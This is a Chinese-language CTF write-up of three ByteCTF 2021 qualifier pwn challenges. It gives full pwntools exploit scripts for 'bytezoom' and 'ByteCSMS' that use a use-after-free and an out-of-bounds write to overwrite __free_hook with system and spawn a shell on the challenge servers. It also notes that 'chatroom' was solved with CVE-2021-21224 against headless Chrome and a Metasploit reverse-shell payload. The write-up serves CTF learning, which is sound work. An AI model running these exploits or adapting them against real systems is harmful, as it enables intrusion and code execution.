[ByteCTF 2021 Quals] Pwn方向几个题解

2022-08-01 14:13:39 浏览数 (1)

  • bytezoom
  • chatroom
  • ByteCSMS

bytezoom

C 下的堆利用,对于有C 基础的人来说应该很快看出要点在于错误的使用了shared_ptr的裸指针,形成悬挂指针,进而UAF

EXP:

代码语言:javascript复制
from pwn import *
import time

#p = process("./bytezoom", env = {"LD_PRELOAD":"./libc-2.31.so"})
p = remote("39.105.37.172", 30012)
libc = ELF("./libc-2.31.so")
context.log_level = "debug"


def create(_type, idx:int, name, age:bytes):
    p.sendlineafter(b"choice:n", b"1")
    p.sendlineafter(b"cat or dog?n", _type)
    p.sendlineafter(b"input index:n", str(idx).encode())
    p.sendlineafter(b"name:n", name)
    p.sendlineafter(b"age:n", age)
    
def show_message(_type, idx):
    p.sendlineafter(b"choice:n", b"2")
    p.sendlineafter(b"cat or dog?n", _type)
    p.sendlineafter(b"input index:n", str(idx).encode())
    
def into_manager():
    p.sendlineafter(b"choice:n", b"3")
    
def quit_manager():
    p.sendlineafter(b"choice:n", b"4")
    
def manage_select(_type, idx):
    p.sendlineafter(b"choice:n", b"1")
    p.sendlineafter(b"select cat or dog?n", _type)
    p.sendlineafter(b"input "   _type   b"'s index:n", str(idx).encode())
    
def change_age(_type, add_years):
    p.sendlineafter(b"choice:n", b"2")
    p.sendlineafter(b"select cat or dog?n", _type)
    p.sendlineafter(b"you want to addn", add_years)
    
def change_name(_type, new_name):
    p.sendlineafter(b"choice:n", b"3")
    p.sendlineafter(b"select cat or dog?n", _type)
    p.sendlineafter(b"please input new name:n", new_name)

# base: 0x0000555555554000
# base: 0x0000555555554000 0x12340  cat list
# base: 0x0000555555554000 0x12380  dog list
# selected: 0x0000555555554000 0x122E0

def exp():
    # leak libc
    create(b"dog", 0, b"a"*8, b"1")
    into_manager()
    manage_select(b"dog", 0)
    quit_manager()
    create(b"dog", 0, b"b"*8, b"1") # free prev
    create(b"cat", 0, b"c"*8, b"1") # selected
    create(b"cat", 1, b"x"*0x400, b"1") 
    into_manager()
    #gdb.attach(p)
    #pause()
    change_age(b"dog", b"889")
    change_age(b"dog", b"1279")
    quit_manager()
    show_message(b"cat", 0)
    p.recvuntil(b"name:")
    libc_leak = u64(p.recv(8))
    libc_base = libc_leak - 0x70 - libc.symbols[b"__malloc_hook"]
    system = libc_base   libc.symbols[b"system"]
    free_hook = libc_base   libc.symbols[b"__free_hook"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("free_hook:", hex(free_hook))
    
    # attack free_hook
    ## create 0x20 bin
    create(b"cat", 2, b"d"*0x50, b"1") 
    create(b"cat", 3, b"d"*0x50, b"1") 
    create(b"cat", 2, b"d"*0x30, b"1")
    create(b"cat", 3, b"d"*0x30, b"1") 
    into_manager()
    change_age(b"dog", b"160")
    manage_select(b"cat", 0)
    change_name(b"cat", p64(free_hook))
    quit_manager()
    ## get chunk at free_hook
    create(b"cat", 4, b"/bin/shx00"*(0x50//8), b"1") 
    create(b"cat", 5, p64(system)*(0x50//8), b"1") 
    print("free_hook:", hex(free_hook))
    ## get shell
    create(b"cat", 4, b"t"*0x100, b"1") 
    
    #gdb.attach(p)
    p.interactive()

if __name__ == "__main__":
    exp()

chatroom

混了个一血

headless chrome,用CVE-2021-21224打,最好用msf自身的反弹shell payload, shell_reverse_tcp 这个payload究极不稳定,连上就断

ByteCSMS

思路:

  1. 同样是涉及C 数据结构的pwn,问题出在Vector内部和外部用户自定义的计数方式可能出现不匹配的情况:Vector内部通过指针差值右移4位(除0x10,即元素大小)来计算元素个数;而外部则通过一个全局变量(total)保存元素个数;当用户使用name作为索引删除元素时会一次性删除所有name相同的元素,而外部变量只递减了1,这样可以构造total远大于(ptr2-ptr1)>>4
  2. 构造方式:add很多次name为/bin/sh的元素,致使Vector过大而存放在mmap出来的内存段,从而与libc有固定偏移;通过upload保存此时的Vector;通过name索引的方式remove掉name为/bin/sh的元素,再通过download把这样元素添加回来,以此往复可以将total的值增加非常大;由于通过index索引方式edit元素时,检查范围的最大边界是由total标定的,这就使得用户可以越界读写;
  3. 估计好越界位置读出libc某个rw段上的指针,计算出libc基址(这一步只是泄露所以要注意好恢复原本的值);然后同样估计好__free_hook的位置用edit写上system地址;最后一步upload剩余的元素,使得存放upload元素的Vector发生realloc,free掉原来的堆块,将堆块头部的/bin/sh作为参数执行system("/bin/sh")

EXP:

代码语言:javascript复制
from pwn import *

#p = remote("39.105.63.142", 30011)
p = remote("39.105.37.172", 30011)
libc = ELF("./libc-2.31.so.6")

context.log_level = "debug"

def add(name, score:int):
    p.sendlineafter(b"> ", b"1")
    p.sendlineafter(b"Enter the ctfer's name:n", name)
    p.sendlineafter(b"Enter the ctfer's scoresn", str(score).encode())
    p.sendlineafter(b"enter the other to returnn", b"123")
    
def edit(n_or_i, new_name, new_score, way:str):
    p.sendlineafter(b"> ", b"3")
    p.recvuntil(b"2.Edit by indexn")
    if way == "name":
        p.sendline(b"1")
        p.sendline(n_or_i)
    elif way == "index":
        p.sendline(b"2")
        p.sendline(str(n_or_i).encode())
    else:
        return
    p.sendlineafter(b"Enter the new name:n", new_name)
    p.sendlineafter(b"Enter the new score:n", str(new_score).encode())
    
def remove(n_or_i, way:str):
    p.sendlineafter(b"> ", b"2")
    p.recvuntil(b"2.Remove by indexn")
    if way == "name":
        p.sendline(b"1")
        p.sendlineafter(b"to be deletedn", n_or_i)
    elif way == "index":
        p.sendline(b"2")
        p.sendlineafter(b"Index?n", str(n_or_i).encode())
    else:
        return
        
def upload():
    p.sendlineafter(b"> ", b"4")
        
def download():
    p.sendlineafter(b"> ", b"5")

# manager: 0x00007fffffffdbd0
# total: 0x0000555555607280
# base: 0x0000555555400000

def exp():
    p.sendlineafter(b"Password for admin:n", b"x00")
    while True:
        if p.recv(9) == b"Incorrect":
            p.sendlineafter(b"Password for admin:n", b"x00")
        else:
            break
    # leak addr
    add(b"/bin/sh", 100)
    add(b"/bin/sh", 100)
    for i in range(0x1000-2):
        add(b"/bin/sh", 100)
    upload()
    edit(0, b"aaaa", 100, "index")
    edit(1, b"aaaa", 100, "index")
    add(b"/bin/sh", 100)
    add(b"/bin/sh", 100)
    for i in range(90):
        remove(b"/bin/sh", "name")
        download()
    ## 358659 220931
    ## get addr
    p.sendlineafter(b"> ", b"3")
    p.recvuntil(b"2.Edit by indexn")
    p.sendline(b"2")
    #gdb.attach(p)
    #pause()
    p.sendlineafter(b"Index?n", b"220931")
    #p.recv(0x30-2)
    p.recvuntil(b"220931x09")
    libc_leak = u64(p.recv(6).ljust(8, b"x00"))
    #libc_base = libc_leak - 0x18b110
    libc_base = libc_leak - 0x18b2a0
    system = libc_base   libc.symbols[b"system"]
    free_hook = libc_base   libc.symbols[b"__free_hook"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("system:", hex(system))
    print("free_hook:", hex(free_hook))
    #fix_addr = libc_base   0x18ea70
    fix_addr = libc_base   0x18ec00
    #gdb.attach(p)
    #pause()  
    p.sendlineafter(b"Enter the new name:n", p64(libc_leak) p64(fix_addr)[0:4])
    p.sendlineafter(b"Enter the new score:n", str(u32(p64(fix_addr)[4:])).encode())
    #gdb.attach(p)
    #pause()
    
    # rewrite _free_hook
    ## 359601 221873
    #gdb.attach(p, "b *0x0000555555400000 0x1b9bncn")
    edit(221873, p64(0) p64(system)[0:4], u32(p64(system)[4:]), "index")
    print("free_hook:", hex(free_hook))
    #gdb.attach(p)
    #pause()
    
    ## get shell
    edit(0, b"/bin/sh", 100, "index")
    #gdb.attach(p, "b *0x0000555555400000 0x12dcncn")
    remove(b"/bin/sh", "name")
    upload()
    print("free_hook:", hex(free_hook))
        
    p.sendline(b"cat flag;cat flag;cat flag;")
    p.interactive()

if __name__ == "__main__":
    exp()

0 人点赞